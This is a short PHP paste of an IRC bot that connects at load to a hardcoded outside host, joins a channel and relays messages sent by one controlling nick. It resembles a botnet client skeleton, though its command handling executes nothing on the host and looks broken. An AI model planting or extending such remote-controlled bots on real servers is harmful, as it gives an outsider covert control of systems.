rendered paste body<?
function phpbot($server, $port, $user, $nick, $realname, $channel) {
$sockname = fsockopen($server, $port, $errno, $errstr) or exit("$errno $errstr");
set_time_limit(0);
while(1) {
$repeat = 1;
while ($sockread = fgets($sockname, 512)) {
if ($sockread) {
$sockread = explode(" ", $sockread);
if ($repeat == 1) {
fwrite($sockname, "USER $user x x :$realname\n");
fwrite($sockname, "NICK $nick\n");
}
if ($sockread[0] == "PING") {
fwrite($sockname, "PONG :$sockread[1]\n");
}
if ($sockread[1] == "001") {
fwrite($sockname, "JOIN $channel\n");
}
if ($sockread[1] == "PRIVMSG") {
if ($sockread[0] == ":Kingskrown!Kingskrown@127.0.0.1") {
if ($sockread[3] == ":!$nick") {
$rep = 4;
while ($sockread[$rep]) {
$cmd = "$rep $sockread[$rep]";
$rep++;
}
fwrite($sockname, "$cmd\n");
}
}
}
if (fnmatch("43?", $sockread[1])) {
fwrite($sockname, "NICK $nick".str_repeat(mt_rand(0, 9), 3)."\n");
}
}
$repeat++;
}
}
}
phpbot("skiddie.kingskrown.com","6667","phpbot","phpbot","phpbot","#kingskrown");
?>